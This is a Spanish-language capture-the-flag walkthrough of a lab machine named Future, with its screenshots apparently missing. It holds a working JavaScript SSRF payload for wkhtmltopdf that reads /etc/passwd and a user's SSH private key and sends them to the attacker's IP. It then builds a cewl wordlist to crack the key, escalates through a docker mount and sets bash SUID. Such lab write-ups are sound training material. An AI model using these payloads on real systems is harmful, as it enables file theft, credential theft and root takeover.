7. MÁQUINA FUTURE (SSRF con JavaScript, wordlist con cewl y escalada de Privilegios con Docker)
Hacemos el escaneo con nmap:
En este escaneo vemos un dominio que lo añadiremos al archivo /hosts:
Y esto corre por el puerto 80:
Si hacemos un clic nos manda a otra url:
Hacemos fuzzing web tanto de directorios como de extensiones de archivos:
Dentro del directorio homework vemos un panel de subida de archivos, donde nos pide subir un archivo HTML que se convertirá en un archivo PDF:
Por lo que preparamos un HTML para subirlo:
<!DOCTYPE html>
<html>
<head>
<title>Hola Mundo</title>
</head>
<body>
<h1>Hola Mundo!</h1>
<p>Este es un ejemplo de un "Hola Mundo" en HTML.</p>
</body>
</html>
Probamos en interceptar la petición con burp suite para ver cómo se comporta esta subida de archivo:
Llegados a este punto, podemos probar si se acontece un SSRF añadiendo en el HTML una imagen que lo que sea es una conexión a mi máquina atacante:
<img src="http://192.168.0.20:443/probandoSSRF">
De esta forma, si estamos con netcat escuchando, recibimos la conexión, pero además podemos ver que la herramienta que se está ejecutando por detrás es wkhtmltopdf:
Comprobamos que se trata de una App que convierte HTML en PDF:
Lo que haremos será cargar un nuevo HTML con el siguiente contenido, que contendrá la etiqueta de script con el siguiente contenido y el enlace de gitbook donde se explica mejor:
https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/server-side-request-forgery-ssrf#blind-ssrf
<!DOCTYPE html>
<html>
<head>
<title>Hola Mundo</title>
</head>
<body>
<h1>Hola Mundo!</h1>
<p>Este es un ejemplo de un "Hola Mundo" en HTML.</p>
<script>
var readfile = new XMLHttpRequest(); // Read the local file
var exfil = new XMLHttpRequest(); // Send the file to our server
readfile.open("GET","file:///etc/passwd", true);
readfile.send();
readfile.onload = function() {
if (readfile.readyState === 4) {
var url = 'http://192.168.0.20:443/?data='+btoa(this.response);
exfil.open("GET", url, true);
exfil.send();
}
}
readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
Y recibimos lo siguiente:
Esta data es el /etc/passwd, por lo que lo decodificamos en base64 y funciona:
Ahora vamos a probar en obtener el id_rsa del usuario mcfly:
Y recibimos la data siendo el id_rsa de este usuario
Lo decodificamos:
De todos modos se nos pide contraseña para usar este id_rsa:
Lo crackeamos con john the ripper, pero vemos que con el rockyou no funciona:
Pero en el código fuente del directorio /homework.html tenemos una pista diciendo que el cewler nos puede ayudar:
Tenemos el siguiente repositorio con la herramienta cewler para crear diccionarios:
https://github.com/roys/cewler
Y utilizamos esta herramienta pasándola por algunos de los directorios web para ir creando una wordlist:
cewl http://future.nyx/index.html -m 6 -w diccionario1.txt
cewl http://future.nyx/1955.html -m 6 -w diccionario2.txt
cewl http://future.nyx/2015.html -m 6 -w diccionario3.txt
cewl http://future.nyx/1885.html -m 6 -w diccionario4.txt
cewl http://future.nyx/homework.html -m 6 -w diccionario5.txt
cat diccionario* > wordlist
Y ahora tenemos una wordlist:
Y ahora con esta wordlist vemos que sí nos encuentra la contraseña:
Ya estamos dentro:
Si ejecutamos una búsqueda de binarios, nos encontramos con docker:
Vemos las siguientes isntrucciones de cómo escalar privilegios con docker en gtfobins:
Lo ejecutamos:
/usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Y ya somos root, aunque estamos dentro del contenedor:
Si queremos pasar a root, simplemente podemos cambiarle el permiso a la bash y desde la máquina anfitrión ejecutar el comando bash -p:
chmod u+s /bin/bash
